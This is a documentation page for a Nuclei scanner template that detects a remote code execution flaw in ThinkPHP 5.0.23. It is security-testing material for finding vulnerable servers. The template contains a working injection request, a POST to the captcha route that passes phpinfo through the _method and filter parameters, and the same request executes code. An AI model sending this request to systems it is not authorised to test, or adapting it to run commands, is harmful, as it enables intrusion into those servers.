ThinkPHP 5.0.23 - Remote Code Execution
ID: thinkphp-5023-rce
Severity: critical
Author: dr_set
Tags: thinkphp,rce
Description
Section titled “Description”ThinkPHP 5.0.23 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
YAML Source
Section titled “YAML Source”id: thinkphp-5023-rce
info: name: ThinkPHP 5.0.23 - Remote Code Execution author: dr_set severity: critical description: ThinkPHP 5.0.23 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce metadata: max-request: 1 tags: thinkphp,rce
http: - method: POST path: - "{{BaseURL}}/index.php?s=captcha"
headers: Content-Type: application/x-www-form-urlencoded
body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"
matchers-condition: and matchers: - type: word words: - "PHP Extension" - "PHP Version" - "ThinkPHP" condition: and
- type: status status: - 200# digest: 4a0a0047304502201b63d77fcd1e569b2e0a740b2156eda959ecaeb0e6b82cf4613707bd2cb9c9f9022100b3b78c420e8ec926068522c08a54535fd3ff19069aa23cf15e4e821e336fa6d3:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/thinkphp/thinkphp-5023-rce.yaml"